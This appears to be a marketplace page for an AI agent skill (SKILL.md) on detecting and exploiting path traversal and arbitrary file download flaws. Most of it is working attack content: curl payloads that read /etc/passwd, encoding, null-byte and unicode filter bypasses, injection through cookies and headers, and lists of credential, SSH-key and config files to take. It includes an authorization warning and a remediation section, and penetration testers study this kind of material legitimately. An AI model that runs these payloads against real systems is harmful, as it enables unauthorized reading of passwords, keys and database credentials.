crazymarky/pentest-skills/scripts

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Arbitrary file download vulnerability detection and exploitation using path traversal techniques, bypass methods, and sensitive file discovery. Use this skill when user needs to test for file download vulnerabilities, path traversal, or read sensitive files on target systems.

Install

npx vskill@latest install crazymarky/pentest-skills/scripts

SKILL.md

Arbitrary File Download Detection & Exploitation

Authorization Warning

DANGER: File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:

  • Written permission from the target system owner
  • Isolated testing environment
  • Defined scope of testing
  • Legal compliance with local regulations

Never test file download vulnerabilities on production systems without authorization.


Prerequisites

Required Tools
bash
# Python 3 with requests library
pip install requests
# Optional: curl for manual testing
# Built-in on most systems
Optional Tools
bash
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# ffuf for parameter fuzzing

Quick Start

Basic Path Traversal Test
bash
# Manual test with curl
curl "https://target.com/download?file=../../../etc/passwd"
# Using the automated tester
python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"
Sensitive File Scanner
bash
# Scan for sensitive files after confirming vulnerability
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux

Common Scenarios

1. Basic Path Traversal Testing

Test for basic directory traversal vulnerabilities:

bash
# Manual testing
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=....//....//etc/passwd"
# Automated testing
python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"

What to check:

  • Does the parameter accept ../ sequences?
  • Can you access files outside the intended directory?
  • What is the response when accessing system files?

Common payload patterns:

../../../etc/passwd
....//....//....//etc/passwd
..\..\..\..\windows\win.ini

2. URL Encoded Bypass

When basic traversal is blocked, try URL encoding:

bash
# Single URL encoding
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

Encoding variations:

TypePayload
URL encoded%2e%2e%2f
Double encoded%252e%252e%252f
Mixed..%2f..%2f

3. Null Byte Injection

When extension validation exists:

bash
# Null byte to truncate extension check
curl "https://target.com/download?file=../../../etc/passwd%00.jpg"
curl "https://target.com/download?file=../../../etc/passwd%00.png"

Works against:

  • Simple extension validation
  • Some path sanitization filters

4. Unicode/Double Write Bypass

When standard payloads are filtered:

bash
# Unicode encoding
curl "https://target.com/download?file=..%c0%af..%c0%af..%c0%afetc/passwd"
# Double write (....//)
curl "https://target.com/download?file=....//....//....//etc/passwd"
# Mixed separators
curl "https://target.com/download?file=..%5c..%5c..%5cetc/passwd"

5. Sensitive File Discovery

After confirming vulnerability, discover sensitive files:

bash
# Linux targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
# Windows targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os windows
# Custom file list
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --wordlist custom_files.txt

High-value targets (Linux):

/etc/passwd - User accounts
/etc/shadow - Password hashes (requires root)
/etc/hosts - Host mappings
/proc/self/environ - Environment variables
/var/log/apache2/access.log - Access logs
/home/user/.ssh/id_rsa - SSH private keys
/var/www/html/config.php - Web app configs

High-value targets (Windows):

C:\Windows\win.ini - Windows configuration
C:\Windows\System32\config\SAM - User accounts
C:\inetpub\wwwroot\web.config - IIS configuration
C:\Users\Administrator\.ssh\id_rsa - SSH keys

6. Application Config Discovery

Target web application configuration files:

bash
# Common web app configs
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../.env
../../../web.config

Framework-specific paths:

FrameworkConfig Path
WordPresswp-config.php
Laravel.env
Djangosettings.py
ASP.NETweb.config
Springapplication.properties

7. POST Request Testing

Test POST parameters for file download:

bash
# Save request to file
cat > request.txt << 'EOF'
POST /download HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
file=document.pdf
EOF
# Test with curl
curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"

8. Cookie/Header Testing

Test non-parameter injection points:

bash
# Cookie parameter
curl "https://target.com/download" --cookie "filename=../../../etc/passwd"
# Custom header
curl "https://target.com/download" -H "X-File-Path: ../../../etc/passwd"
# Referer header
curl "https://target.com/download" -H "Referer: https://target.com/?file=../../../etc/passwd"

Tool Selection Guide

ScenarioToolCommand
Quick manual testcurlcurl "URL?file=../../../etc/passwd"
Automated scanningfile_download_tester.pypython scripts/file_download_tester.py -u URL
Sensitive file scansensitive_file_scanner.pypython scripts/sensitive_file_scanner.py -u URL --os linux
Parameter fuzzingffufffuf -u "URL?file=FUZZ" -w wordlist.txt
Custom payload testcurlcurl "URL?file=$(cat payload.txt)"

Testing Checklist

Discovery Phase
  • [ ] Identify all download endpoints (URL params, forms, API endpoints)
  • [ ] Test basic path traversal (../)
  • [ ] Check response headers for file type information
Bypass Testing
  • [ ] URL encoding (%2e%2e%2f)
  • [ ] Double URL encoding (%252e%252e%252f)
  • [ ] Null byte injection (%00)
  • [ ] Unicode encoding (%c0%af)
  • [ ] Double write (....//)
  • [ ] Mixed separators (..\ on Windows)
  • [ ] Path truncation
Sensitive File Testing
  • [ ] Linux system files (/etc/passwd, /etc/shadow)
  • [ ] Windows system files (win.ini, SAM)
  • [ ] Application configs (.env, config.php)
  • [ ] SSH keys (id_rsa, authorized_keys)
  • [ ] Log files (access.log, error.log)
  • [ ] Database files
Post-Exploitation
  • [ ] Document all accessible files
  • [ ] Identify sensitive data exposed
  • [ ] Report severity based on data sensitivity

Resources

Scripts
  • scripts/file_download_tester.py - Automated vulnerability detection
  • scripts/sensitive_file_scanner.py - Sensitive file enumeration
Reference Documentation
  • references/bypass_techniques.md - Detailed bypass methods
  • references/sensitive_files.md - Comprehensive file lists
Assets/Wordlists
  • assets/traversal_payloads.txt - Path traversal payloads
  • assets/linux_sensitive_files.txt - Linux sensitive file paths
  • assets/windows_sensitive_files.txt - Windows sensitive file paths
External Resources

Reporting Format

When reporting file download vulnerabilities, include:

╔═══════════════════════════════════════════════════════╗
║ File Download Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/download ║
║ Type: Path Traversal ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: file
Payload: ../../../etc/passwd
Proof of Concept:
curl "https://target.com/download?file=../../../etc/passwd"
Files Confirmed Accessible:
- /etc/passwd (user accounts)
- /etc/hosts (network config)
- /var/www/html/config.php (database credentials)
Impact:
- Access to sensitive system files
- Exposure of database credentials
- Potential for further exploitation
Recommendations:
- Implement strict path validation
- Use allowlist for permitted files
- Sanitize user input for path characters
- Use chroot or container isolation

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
216
Repository forks
26
7-day trend score
27

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

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